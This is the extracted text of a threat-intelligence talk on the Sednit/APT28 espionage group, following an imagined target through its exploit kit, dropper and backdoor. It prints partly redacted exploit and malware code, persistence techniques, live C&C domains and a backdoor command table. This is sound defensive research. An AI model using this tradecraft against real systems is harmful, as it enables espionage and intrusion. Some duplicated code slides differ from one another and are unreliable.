Visiting The Bear Den
A Journey in the Land of (Cyber-)Espionage

Joan Calvet
Jessy Campos
Thomas Dupuy
Sednit Group

• Also know as APT28, Fancy Bear, Sofacy, STRONTIUM, Tsar Team

• Group of attackers doing targeted attacks since 2006

• Mainly interested into geopolitics
Plan

• Context

• The Week Serge Met The Bear

• The Mysterious DOWNDELPH

• Speculative Mumblings
What kind of group is Sednit?

CONTEXT
Who Is The Bear After? (1)

• We found a list of targets for Sednit phishing campaigns:
  – Operators used Bitly and “forgot” to set the profile private
    
    *(feature now removed from Bitly)*
  
  – Around 4,000 shortened URLs during 6 months in 2015
Who Is The Bear After? (2)

http://login.accounts-google.com/url/?continue=cGFyZXBreWl2QGdtYWlsLmNvbQ==&df=UGFraXN0YW4rRW1iYXNzeStLeWl2&tel=1
Who Is The Bear After? (2)

parepkyiv@gmail.com

http://login.accounts-google.com/url/?continue=cGFyZXBreWl2QGdtYWlsLmNvbQ==&df=UGFraXN0YW4rRW1iYXNzeStLeWl2&tel=1
Who Is The Bear After? (2)

parepkyiv@gmail.com

http://login.accounts-google.com/url/?continue=cGFyZXBreWl2QGdtYWlsLmNvbQ==&df=UGFraXN0YW4rRW1iYXNzeStLeWl2&tel=1

Pakistan+Embassy+Kyiv
Who Is The Bear After? (2)

parepkyiv@gmail.com

http://login.accounts-google.com/url/?continue=cGFyZXBreWl2QGdtYWlseNvbQ==&df=UGFraXN0YW4rRW1iYXNzeStLeWl2&tel=1

Pakistan+Embassy+Kyiv
Who Is The Bear After? (3)

• Embassies and ministries of more than 40 countries

• NATO and EU institutions

• “Who’s who” of individuals involved in Eastern Europe politics:
  – Politicians
  – Activists
  – Journalists
  – Academics
  – Militaries
  – …
The Bear Has Money

• A bag full of 0-day exploits:

- CVE-2015-3043 (Flash)
- CVE-2015-1701 (Windows LPE)
- CVE-2015-2590 (Java)
- CVE-2015-4902 (Java click-to-play bypass)
- CVE-2015-7645 (Flash)
- CVE-2015-2424 (Office RCE)

2015
The Bear Can Code

• Tens of custom-made software used since 2006:
  – Droppers
  – Downloaders
  – Reconnaissance tools
  – Long-term spying backdoors
  – Encryption proxy tool
  – USB C&C channel
  – Many helper tools
  – ...
Disclaimers

• Over the last two years we tracked Sednit closely, but of course our visibility is not exhaustive

• How do we know it is ONE group?
  – We don’t
  – Our Sednit “definition” is based on their toolkit and the related infrastructure

• We do not do attribution (but we point out hints that may be used for that)
THE WEEK SERGE MET THE BEAR
Who Is Serge?

• Code name for an imaginary Sednit target

• Serge is a government employee with access to sensitive information

• The chain of events in Serge’s attack matches several real cases we investigated

• We use it as a textbook case to present (a part of) the Sednit toolkit
MONDAY, 9:30AM
Serge Opens an Email

From noreply@stratfor.com
Subject Geopolitical Weekly
To Claude

Dear Sir,
Please read this report by Stratfor Global Intelligence:
http://stratforglobal.net/weekly/51586/ruthless-and-sober-syria
Kind regards,

Stratfor Global Intelligence

P.O. Box 92529
Austin, Texas 78709-2529
USA
T +1 512 744 4300
F +1 512 744 4334
Legitimate URL Mimicking

http://stratforglobal.net/weekly/51586/ruthless-and-sober-syria

Ruthless and Sober in Syria
Legitimate URL Mimicking

http://stratforglobal.net/weekly/51586/ruthless-and-sober-syria

Ruthless and Sober in Syria
Legitimate URL Mimicking

http://stratforglobal.net/weekly/51586/ruthless-and-sober-syria

Ruthless and Sober in Syria
Legitimate URL Mimicking

http://stratforglobal.net/weekly/51586/ruthless-and-sober-syria

Ruthless and Sober in Syria
Serge clicks on the URL, and...
...Serge Meets SEDKIT

• Exploit-kit for targeted attacks

• Entry-point URLs mimic legitimate URLs

• Usually propagated by targeted phishing emails (also seen with hacked website + iframe)

• Period of activity: September 2014 - Now
string_of_json += "\"timezone\"" + ":" + getTimeZone() + ",",;

for(var prop in navigator) {
    string_of_json += ...[REDACTED]...
}

string_of_json += "\"screen\":{ ";
for(var prop in screen) {
    string_of_json += ...[REDACTED]...
}

string_of_json += "\"plugins\":[ ";
//string_of_json += DetectJavaForMSIE();
if(navigator.userAgent.indexOf("MSIE") > -1 ||
    navigator.userAgent.indexOf("Trident\/*/7.0") > -1)
{
    string_of_json += DetectJavaForMSIE();
    string_of_json += DetectFlashForMSIE();
    string_of_json += EnumeratePlugins();
    //string_of_json += DetectPdfForMSIE();
    //string_of_json += DetectFlashForMSIE();
Landing Page (1)
Reconnaissance Report Building

```javascript
string_of_json += ""timezone"" + ":" + getTimeZone() + ",";

for(var prop in navigator) {
    string_of_json += ...
}...

string_of_json += ""screen":{
for(var prop in screen) {
    string_of_json += ...
}...

string_of_json += ""plugins":[
    if(navigator.userAgent.indexOf("MSIE") > -1 ||
        navigator.userAgent.indexOf("Trident\/*.0") > -1)
    {
        string_of_json += DetectJavaForMSIE();
        string_of_json += DetectFlashForMSIE();
        string_of_json += EnumeratePlugins();
        //string_of_json += DetectPdfForMSIE();
        //string_of_json += DetectFlashForMSIE();
    }

```
Landing Page (1)
Reconnaissance Report Building

```javascript
string_of_json += "\\"timezone\\"" + ":" + getTimeZone() + ",";

for(var prop in navigator) {
    string_of_json += ...[REDACTED]...
}

string_of_json += "\\screen\\":{ ";
for(var prop in screen) {
    string_of_json += ...[REDACTED]...
}

string_of_json += "\\plugins\\":[ ";
//string_of_json += DetectJavaForMSIE();
if(navigator.userAgent.indexOf("MSIE") > -1 ||
    navigator.userAgent.indexOf("Trident\/*/7.0") > -1) {
    string_of_json += DetectJavaForMSIE();
    string_of_json += DetectFlashForMSIE();
    string_of_json += EnumeratePlugins();
    //string_of_json += DetectPdfForMSIE();
    //string_of_json += DetectFlashForMSIE();
```
"timezone": 420,

"appCodeName": "Mozilla",
"appName": "Microsoft Internet Explorer",
"appMinorVersion": "0",
"cpuClass": "x86",
"platform": "Win32",
"systemLanguage": "en-us",
"userLanguage": "en-us",
"appVersion": "4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"userAgent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"onLine": true,
"cookieEnabled": true,
"mimeType": "",

"screen": {
"height": 1080,
"bufferDepth": 0,
"deviceXDPI": 96,
"...[REDACTED]...
"colorDepth": 32,
"width": 1920,
"availWidth": 1920,
"updateInterval": 0
}

"plugins": [
{"name": "Java","version": "1.6.0"},
{"name": "ShockwaveFlash","version": "11.8.800.94"}
]
Crawling Sedkit
Serge is selected to be exploited...
... and Visits Sednit Exploits Factory

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Targeted Application</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2013-1347</td>
<td>Internet Explorer 8</td>
<td></td>
</tr>
<tr>
<td>CVE-2013-3897</td>
<td>Internet Explorer 8</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1510 + CVE-2014-1511</td>
<td>Firefox</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1776</td>
<td>Internet Explorer 11</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-6332</td>
<td>Internet Explorer</td>
<td>Several versions</td>
</tr>
<tr>
<td>N/A</td>
<td>MacKeeper</td>
<td></td>
</tr>
<tr>
<td>CVE-2015-2590 + CVE-2015-4902</td>
<td>Java</td>
<td>0-day*</td>
</tr>
<tr>
<td>CVE-2015-3043</td>
<td>Adobe Flash</td>
<td>0-day*</td>
</tr>
<tr>
<td>CVE-2015-5119</td>
<td>Adobe Flash</td>
<td>Hacking Team gift</td>
</tr>
<tr>
<td>CVE-2015-7645</td>
<td>Adobe Flash</td>
<td>0-day*</td>
</tr>
</tbody>
</table>

* : At the time SEDKIT dropped them
... and Visits Sednit Exploits Factory

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Targeted Application</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2013-1347</td>
<td>Internet Explorer 8</td>
<td></td>
</tr>
<tr>
<td>CVE-2013-3897</td>
<td>Internet Explorer 8</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1510 +</td>
<td>Firefox</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1511</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1776</td>
<td>Internet Explorer 11</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-6332</td>
<td>Internet Explorer</td>
<td>Several versions</td>
</tr>
<tr>
<td>N/A</td>
<td>MacKeeper</td>
<td></td>
</tr>
<tr>
<td>CVE-2015-2590 +</td>
<td>Java</td>
<td>0-day*</td>
</tr>
<tr>
<td>CVE-2015-4902</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CVE-2015-3043</td>
<td>Adobe Flash</td>
<td>0-day*</td>
</tr>
<tr>
<td>CVE-2015-5119</td>
<td>Adobe Flash</td>
<td>Hacking Team gift</td>
</tr>
<tr>
<td>CVE-2015-7645</td>
<td>Adobe Flash</td>
<td>0-day*</td>
</tr>
</tbody>
</table>

* : At the time SEDKIT dropped them
... and Visits Sednit Exploits Factory

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Targeted Application</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2013-1347</td>
<td>Internet Explorer 8</td>
<td></td>
</tr>
<tr>
<td>CVE-2013-3897</td>
<td>Internet Explorer 8</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1510 +</td>
<td>Firefox</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1511</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1776</td>
<td>Internet Explorer 11</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-6332</td>
<td>Internet Explorer</td>
<td>Several versions</td>
</tr>
<tr>
<td>N/A</td>
<td>MacKeeper</td>
<td></td>
</tr>
<tr>
<td>CVE-2015-2590 +</td>
<td>Java</td>
<td>0-day*</td>
</tr>
<tr>
<td>CVE-2015-4902</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CVE-2015-3043</td>
<td>Adobe Flash</td>
<td>0-day*</td>
</tr>
<tr>
<td>CVE-2015-5119</td>
<td>Adobe Flash</td>
<td>Hacking Team gift</td>
</tr>
<tr>
<td>CVE-2015-7645</td>
<td>Adobe Flash</td>
<td>0-day*</td>
</tr>
</tbody>
</table>

*: At the time SEDKIT dropped them
... and Visits Sednit Exploits Factory

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Targeted Application</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2013-1347</td>
<td>Internet Explorer 8</td>
<td></td>
</tr>
<tr>
<td>CVE-2013-3897</td>
<td>Internet Explorer 8</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1510</td>
<td>Firefox</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1511</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CVE-2014-1776</td>
<td>Internet Explorer 11</td>
<td></td>
</tr>
<tr>
<td>CVE-2014-6332</td>
<td>Internet Explorer</td>
<td>Several versions</td>
</tr>
<tr>
<td>N/A</td>
<td>MacKeeper</td>
<td></td>
</tr>
<tr>
<td>CVE-2015-2590</td>
<td>Java</td>
<td>0-day*</td>
</tr>
<tr>
<td>CVE-2015-4902</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CVE-2015-3043</td>
<td>Adobe Flash</td>
<td>0-day*</td>
</tr>
<tr>
<td>CVE-2015-5119</td>
<td>Adobe Flash</td>
<td>Hacking Team gift</td>
</tr>
<tr>
<td>CVE-2015-7645</td>
<td>Adobe Flash</td>
<td>0-day*</td>
</tr>
</tbody>
</table>

* : At the time SEDKIT dropped them
Revamping CVE-2014-6332
(a.k.a. IE “Unicorn bug”)

• October 2015:
  – Re-use of public PoC to disable VBScript “SafeMode”
  – Next stage binary downloaded by PowerShell
Revamping CVE-2014-6332
(a.k.a. IE “Unicorn bug”)

• October 2015:
  – Re-use of public PoC to disable VBScript “SafeMode”
  – Next stage binary downloaded by PowerShell

• February 2016:
  – No more “SafeMode” disabling, direct ROP-based shellcode execution
  – Around 400 lines of VBScript, mostly custom
function createROP()
    On Error Resume Next

    shell_string = Unescape("%u8b64%u002d%u0000%u8b00...

    [...REDACTED...]

    ie_11_case(ole32_base)
    addToROP(ie_11_case_addr)
    addToROP(rop_case_addr)
    addToROP(&h04040404)
    addToROP(vp_address)
    addToROP(&h04040404)
    addToROP(shell_addr)
    addToROP(shell_addr)
    addToROP(&h1000)
    addToROP(&h40)
    addToROP(shell_addr+1000)
    ab(3) = rop_string

end function
function Code_section_explorer_7( Libb_base_addr)

dim Lib_PE_offset, Number_of_section, Section_table_addr, RVA_section_table, Lib_PE_addr, code_section_addr, code_section_length, choice
Lib_PE_offset = readM(Libb_base_addr + &h3c)
Lib_PE_addr = Libb_base_addr + Lib_PE_offset
Number_of_section = readM(Lib_PE_addr+6)
Number_of_section = Number_of_section mod 65536
if Number_of_section < 0 then Number_of_section = Number_of_section + 65536
RVA_section_table = readM(Lib_PE_addr+20)
RVA_section_table = RVA_section_table mod 65536
if RVA_section_table < 0 then RVA_section_table = RVA_section_table + 65536
Section_table_addr = Lib_PE_addr + 24 + RVA_section_table
for i=0 to Number_of_section
    if(readM(Section_table_addr) <> 2019914798) then Section_table_addr = Section_table_addr + 40
Next

code_section_length = readM(Section_table_addr+8)
code_section_addr = readM(Section_table_addr+12) + Libb_base_addr

for i=code_section_addr to code_section_addr+code_section_length
    if(readM(i) = &h50895c50) then
        if(readM(i+4) = &h54508964) then
            if(readM(i+8) = &h89745089) then
                if(readM(i+12) = &h5d5e6850) then
                    rop_case_addr = i
VBScript Framework

• Functions:
  – addToROP()
  – getROPstringAddress()
  – Code_section_explorer_7()
  – Code_section_explorer_XP()
  – getNeddedAddresses()
  – addrToHex()
  – ...

Have you ever seen this somewhere?  
(cuz we don’t)
Exploit downloads a payload and...
Serge Meets SEDUPLOADER
(a.k.a. JHUHUGIT, JKEYSKW)

• Downloaded by SEDKIT

• Two binaries: the dropper and its embedded payload

• Deployed as a first-stage component

• Period of activity: March 2015 - Now
SEDUPLOADER DROPPER

Workflow

- Anti-Analysis
- Payload Dropping
- Escalating Privileges
- Payload Persistence
SEDUPLoader Dropper Workflow

- Anti-Analysis
- Payload Dropping
- Escalating Privileges
- Payload Persistence
v5 = (malloc)(0xA164);
v6 = v5;
if ( v5 )
{
    *(v5 + 9) = 42;
    GetTempPathA(0x104u, &Buffer);
    v7 = (strncat)(&Buffer, "jhu hugit.temp", &Count);
    v8 = CreateFileA(v7, 0xC0000000, 3u, 0i64, 1u, 0x80u, 0i64);
    if ( v8 )
    {
        v9 = 1000000i64;
        v10 = 1000000i64;
        do
        {
            WriteFile(v8, v6, 7u, NumberOfBytesWritten, 0i64);
            --v10;
        }
        while ( v10 );
    }
    CloseHandle(v8);
    v11 = CreateFileA(v7, 0x80000000, 1u, 0i64, 3u, 0x80u, 0i64);
    if ( v11 )
    {
        do
        {
            ReadFile(v11, v6, 7u, NumberOfBytesWritten, 0i64);
            --v9;
        }
        while ( v9 );
    }
    CloseHandle(v11);
    DeleteFileA(v7);
    if ( v6[9] == 42 )
v5 = (malloc)(0xA164);
v6 = v5;
if ( v5 )
{
    *(v5 + 9) = 42;
    GetTempPathA(0x104u, &Buffer);
v7 = (strncat)(&Buffer, "jhu hugit.temp", &Count);
v8 = CreateFileA(v7, 0xC0000000, 3u, 0i64, 1u, 0x80u, 0i64);
    if ( v8 )
    {
        v9 = 10000000i64;
v10 = 10000000i64;
do
        {
            WriteFile(v8, v6, 7u, NumberOfBytesWritten, 0i64);
            --v10;
        }
    while ( v10 );
    CloseHandle(v8);
v11 = CreateFileA(v7, 0x80000000, 1u, 0i64, 3u, 0x80u, 0i64);
    if ( v11 )
    {
        do
        {
            ReadFile(v11, v6, 7u, NumberOfBytesWritten, 0i64);
            --v9;
        }
    while ( v9 );
    CloseHandle(v11);
    DeleteFileA(v7);
    if ( v6[9] == 42 )
v5 = (malloc)(0xA164);
v6 = v5;
if ( v5 )
{
    *(v5 + 9) = 42;
    GetTempPathA(0x104u, &Buffer);
    v7 = (strncat)(&Buffer, "jhuhugit.temp", &Count);
    v8 = CreateFileA(v7, 0x00000000, 3u, 0164, 1u, 0x80u, 0164);
    if ( v8 )
    {
        v9 = 1000000i64;
        v10 = 1000000i64;
        do
        {
            WriteFile(v8, v6, 7u, NumberOfBytesWritten, 0i64);
            --v10;
        }
        while ( v10 );
        CloseHandle(v8);
        v11 = CreateFileA(v7, 0x80000000, 1u, 0i64, 3u, 0x80u, 0i64);
        if ( v11 )
        {
            do
            {
                ReadFile(v11, v6, 7u, NumberOfBytesWritten, 0i64);
                --v9;
            }
            while ( v9 );
            CloseHandle(v11);
            DeleteFileA(v7);
            if ( v6[9] == 42 )
v5 = (malloc)(0xA164);
v6 = v5;
if ( v5 )
{
    *(v5 + 9) = 42;
    GetTempPathA(0x104u, &Buffer);
    v7 = (strncat)(&Buffer, "jhu hugit.temp", &Count);
    v8 = CreateFileA(v7, 0xC0000000, 3u, 0i64, 1u, 0x80u, 0i64);
    if ( v8 )
    {
        v9 = 1000000i64;
        v10 = 1000000i64;
        do
        {
            WriteFile(v8, v6, 7u, NumberOfBytesWritten, 0i64);
            --v10;
        } while ( v10 );
        CloseHandle(v8);
        v11 = CreateFileA(v7, 0x80000000, 1u, 0i64, 3u, 0x80u, 0i64);
        if ( v11 )
        {
            do
            {
                readFile(v11, v6, 7u, NumberOfBytesWritten, 0i64);
                --v9;
            } while ( v9 );
            CloseHandle(v11);
            DeleteFileA(v7);
        }
    }
    if ( v6[9] == 42 )
v5 = (malloc)(0xA164);
v6 = v5;
if ( v5 )
{
    *(v5 + 9) = 42;
    GetTempPathA(0x104u, &Buffer);
    v7 = (strncat)(&Buffer, "jhuhugit.temp", &Count);
    v8 = CreateFileA(v7, 0xC0000000, 3u, 0i64, 1u, 0x80u, 0i64);
    if ( v8 )
    {
        v9 = 1000000i64;
        v10 = 1000000i64;
        do
        {
            WriteFile(v8, v6, 7u, NumberOfBytesWritten, 0i64);
            --v10;
        }
        while ( v10 );
        CloseHandle(v8);
        v11 = CreateFileA(v7, 0x80000000, 1u, 0i64, 3u, 0x80u, 0i64);
        if ( v11 )
        {
            do
            {
                ReadFile(v11, v6, 7u, NumberOfBytesWritten, 0i64);
                --v9;
            }
            while ( v9 );
            CloseHandle(v11);
            DeleteFileA(v7);
        }
    }
v5 = malloc(0xA164);
v6 = v5;
if ( v5 )
{
  *(v5 + 9) = 42;
  GetTempPathA(0x104u, &Buffer);
  v7 = strcat(&Buffer, "jhuhu.git.temp", &Count);
  v8 = CreateFileA(v7, 0xC0000000, 3u, 0i64, 1u, 0x80u, 0i64);
  if ( v8 )
  {
    v9 = 1000000i64;
    v10 = 1000000i64;
    do
    {
      WriteFile(v8, v6, 7u, NumberOfBytesWritten, 0i64);
      --v10;
    }
    while ( v10 );
    CloseHandle(v8);
    v11 = CreateFileA(v7, 0x80000000, 1u, 0i64, 3u, 0x80u, 0i64);
    if ( v11 )
    {
      do
      {
        ReadFile(v11, v6, 7u, NumberOfBytesWritten, 0i64);
        --v9;
      }
      while ( v9 );
      CloseHandle(v11);
      DeleteFileA(v7);
      if ( v6[9] == 42 )
  
}
Seduploader Dropper

Workflow

Anti-Analysis \rightarrow Payload Dropping \rightarrow Escalating Privileges \rightarrow Payload Persistence

```
; class UpLoader: IUUploader; [SI] 0: 0, A: 0 (Class Informer)
  dd offset ??_R4UpLoader@@6B@
; const UpLoader::`vftable'
  ??_7UpLoader@@6B@
  dd offset m_decrypt_in_place
  dd offset m_decrypt_in_memory
  dd offset m_get_env_variable
  dd offset m_decrypt_embedded_files
  dd offset m_decompress
  dd offset m_write_file
  dd offset m_execute_file
  dd offset m_delete_file
```
SEDUPLOADER DROPPER
Workflow

- CVE-2015-1701 (0-day)
- CVE-2015-2387 (\text{T[]})
SEDUPLoader Dropper Workflow

- Windows COM object hijacking
- Shell Icon Overlay COM object
- Registry key `UserInitMprLogonScript`
- JavaScript code executed within `rundll32.exe`
- Scheduled tasks, Windows service,...
SEDUPLoader DROPPER

Workflow

- **Windows COM object hijacking**
- Shell Icon Overlay COM object
- Registry key *UserInitMprLogonScript*
- **JavaScript code executed within rundll32.exe**
- Scheduled tasks, Windows service,...
**SEDUPLOADER DROPPER**

**Workflow**

- **Windows COM object hijacking**  Win32/COMpfun
- Shell Icon Overlay COM object
- Registry key *UserInitMprLogonScript*
- **JavaScript code executed within rundll32.exe**  Win32/Poweliks
- Scheduled tasks, Windows service,...
SEDUPLOADER PAYLOAD

Workflow

Network Link Establishment -> First Stage Report -> Parsing C&C Orders
SEDUPLOADER PAYLOAD

Workflow

Network Link Establishment → First Stage Report → Parsing C&C Orders
SEDUUploader Payload Workflow

1. Network Link Establishment
2. First Stage Report
3. Parsing C&C Orders
4. Direct Connection
SEDUPLLOADER PAYLOAD

Workflow

Network Link Establishment ➔ First Stage Report ➔ Parsing C&C Orders

Direct Connection

C&C Successfully Contacted

SUCCESS
SEDUPLOADER PAYLOAD

Workflow

Network Link Establishment → First Stage Report → Parsing C&C Orders

Direct Connection → Via Proxy

C&C Successfully Contacted

SUCCESS

FAIL
SEDUPLOADER PAYLOAD

Workflow

Network Link Establishment → First Stage Report → Parsing C&C Orders

Direct Connection → Via Proxy → Inject Into Browsers

SUCCESS

FAIL

C&C Successfully Contacted
SEDUPLOADER PAYLOAD
Workflow

Network Link Establishment → First Stage Report → Parsing C&C Orders

Direct Connection → Via Proxy → Inject Into Browsers

SUCCESS
FAIL

C&C Successfully Contacted
SEDUPLOADER PAYLOAD

Workflow

Network Link Establishment → First Stage Report → Parsing C&C Orders

id=0A;ò&w=@[System Process]
System
SMS, DXO
SEDUPLOADER PAYLOAD

Workflow

Network Link Establishment → First Stage Report → Parsing C&C Orders

[file]
Execute
Delete
[settings]
Rundll=<export>
PathToSave=
FileName=
IP=
[/settings]
[/file]
East Side Story

printf debugging

<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>CoE</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>CoE</td>
<td>2</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Inf</td>
<td>15</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Inf</td>
<td>13</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Inf</td>
<td>14</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Ld</td>
<td>1</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Ld</td>
<td>2</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Ld</td>
<td>3</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Ld</td>
<td>4</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Ld</td>
<td>5</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Ld</td>
<td>20</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Ld</td>
<td>7</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Ld</td>
<td>44</td>
<td>1</td>
<td>-</td>
<td>0</td>
</tr>
</tbody>
</table>
### Chain of Events

<table>
<thead>
<tr>
<th>Mon</th>
<th>Tue</th>
<th>Wed</th>
<th>Thu</th>
<th>Fri</th>
</tr>
</thead>
</table>

*Serge opens an email leading to SEDKIT, and then SEDUPLOADER*

9:30AM
Monday, 10:00AM
...Serge meets SEDRECO

- Downloaded by SEDUPLoader

- Backdoor with the ability to load external plugins

- Usually deployed as a second stage backdoor to spy on the infected computer

- Period of activity: 2012 - Now
Dropper

• Drops encrypted configuration
  – In a file ("msd")
  – In the Windows Registry

• No configuration linked to the payload
Configuration Overview
Configuration Overview

XOR KEY
Configuration Overview

XOR KEY

FIELD SIZES
Configuration Overview (Decrypted)
Configuration Overview (Decrypted)

('600000', '600000', 'SERGE-PC...', 'kenlynton.com', 'softwaresupportsv.com', 'mtcf', '10000', '600000', '1', 'updmanager.com', '', '', '', '', '', '', '', '')
**Configuration Overview (Decrypted)**

Various timeouts

<table>
<thead>
<tr>
<th>F3</th>
<th>DE</th>
<th>89</th>
<th>73.66</th>
<th>29</th>
<th>06</th>
<th>06.19</th>
<th>0D</th>
<th>15</th>
<th>04.05</th>
<th>06</th>
<th>01</th>
<th>0E</th>
</tr>
</thead>
<tbody>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00.00</td>
<td>00</td>
<td>00</td>
<td>00.00</td>
<td>00</td>
<td>00</td>
<td>036</td>
<td>30.30</td>
<td>30</td>
<td>30</td>
</tr>
<tr>
<td>36</td>
<td>30</td>
<td>30</td>
<td>30.30</td>
<td>30</td>
<td>53</td>
<td>45.52</td>
<td>47</td>
<td>45</td>
<td>2D.50</td>
<td>43</td>
<td>33</td>
<td>45</td>
</tr>
<tr>
<td>51</td>
<td>46</td>
<td>46</td>
<td>4B.54</td>
<td>35</td>
<td>36</td>
<td>39.39</td>
<td>32</td>
<td>31</td>
<td>36.38</td>
<td>33</td>
<td>39</td>
<td>6B</td>
</tr>
<tr>
<td>65</td>
<td>6E</td>
<td>6C</td>
<td>79.6E</td>
<td>74</td>
<td>6F</td>
<td>6E.2E</td>
<td>63</td>
<td>6F</td>
<td>6D.73</td>
<td>6F</td>
<td>66</td>
<td>74</td>
</tr>
<tr>
<td>77</td>
<td>61</td>
<td>72</td>
<td>65.73</td>
<td>75</td>
<td>70</td>
<td>70.6F</td>
<td>72</td>
<td>74</td>
<td>73.76</td>
<td>2E</td>
<td>63</td>
<td>6F</td>
</tr>
<tr>
<td>6D</td>
<td>6D</td>
<td>74</td>
<td>63.66</td>
<td>31</td>
<td>30</td>
<td>30.30</td>
<td>30</td>
<td>36</td>
<td>30.30</td>
<td>30</td>
<td>30</td>
<td>30</td>
</tr>
<tr>
<td>31</td>
<td>75</td>
<td>70</td>
<td>64.6D</td>
<td>61</td>
<td>6E</td>
<td>61.67</td>
<td>65</td>
<td>72</td>
<td>2E.63</td>
<td>6F</td>
<td>6D</td>
<td></td>
</tr>
</tbody>
</table>

('600000', '600000', 'SERGE-PC...', 'kenlynton.com', 'softwaresupportsv.com', 'mtcf', '10000', '60000', '1', 'updmanager.com', '', '', '', '', '', '', '', '', '')
Configuration Overview (Decrypted)

| Computer name: | 600000, 600000, 'SERGE-PC...', 'kenlynton.com', 'softwaresupportsv.com', 'mtcf', '10000', '600000', '1', 'updmanager.com', '', '', '', '', '', '', '', '' |
Configuration Overview (Decrypted)

('600000', '600000', 'SERGE-PC...', 'kenlynton.com', 'softwaresupportsv.com', 'mtcf', '10000', '600000', '1', 'updmanager.com', '', '', '', '', '', '', '', '')

Keylogger enabled
Configuration Overview (Decrypted)

C&C servers:

('600000', '600000', 'SERGE-PC...', 'kenlynton.com', softwaresupportsv.com, 'mtcf', '10000', '600000', '1', 'updmanager.com', '', '', '', '', ''
## Configuration Overview (Decrypted)

<table>
<thead>
<tr>
<th>Operation</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>rhst</td>
<td></td>
</tr>
<tr>
<td>rhbp</td>
<td></td>
</tr>
<tr>
<td>mctf</td>
<td>mtqs</td>
</tr>
</tbody>
</table>

(600000, 600000, 'SERGE-PC...', 'kenlynton.com', 'softwaresupportsv.com', **mtcf**, 10000, 600000, 1, 'updmanager.com', '', '', '', '', '', '', '', '', '', '')

**Operation name** (rhst, rhbp, mctf, mtqs)
Configuration Overview (Decrypted)

('600000', '600000', 'SERGE-PC...', 'kenlynton.com', 'softwaresupportsv.com', 'mtcf', '10000', '600000', '1', 'updmanager.com', '', '', '', '', '', '', '', '', '')

Plugins list
Payload

RegisterNewCommand(0, CMD_update_config, 0);
RegisterNewCommand(1, CMD_load_plugin, 0);
RegisterNewCommand(2, CMD_unload_plugin, 0);
RegisterNewCommand(3, CMD_start_keylogger, 0);
RegisterNewCommand(4, CMD_stop_keylogger, 0);
RegisterNewCommand(5, CMD_list_dir, 0);
RegisterNewCommand(6, CMD_read_file, 0);
RegisterNewCommand(7, CMD_write_file, 0);
RegisterNewCommand(8, CMD_delete_file_or_directory, 0);
RegisterNewCommand(9, CMD_get_registry_keys_data, 0);
RegisterNewCommand(10, CMD_write_registry_key_key_data, 0);
RegisterNewCommand(11, CMD_delete_registry_key, 0);
RegisterNewCommand(12, CMD_list_all_running_processes, 0);
RegisterNewCommand(13, CMD_create_process, 0);
RegisterNewCommand(14, CMD_terminate_process, 0);
RegisterNewCommand(15, CMD_get_module_list, 0);
RegisterNewCommand(17, CMD_get_devices, 0);
RegisterNewCommand(18, CMD_update_SEDRECO, 0);
RegisterNewCommand(19, CMD_read_file_from_offset, 0);
RegisterNewCommand(20, CMD_map_network, 0);
Payload

RegisterNewCommand(0, CMD_update_config, 0);
RegisterNewCommand(1, CMD_load_plugin, 0);
RegisterNewCommand(2, CMD_unload_plugin, 0);
RegisterNewCommand(3, CMD_start_keylogger, 0);
RegisterNewCommand(4, CMD_stop_keylogger, 0);
RegisterNewCommand(5, CMD_list_dir, 0);
RegisterNewCommand(6, CMD_read_file, 0);
RegisterNewCommand(7, CMD_write_file, 0);
RegisterNewCommand(8, CMD_delete_file_or_directory, 0);
RegisterNewCommand(9, CMD_get_registry_keys_data, 0);
RegisterNewCommand(10, CMD_write_registry_key_data, 0);
RegisterNewCommand(11, CMD_delete_registry_key, 0);
RegisterNewCommand(12, CMD_list_all_running_processes, 0);
RegisterNewCommand(13, CMD_create_process, 0);
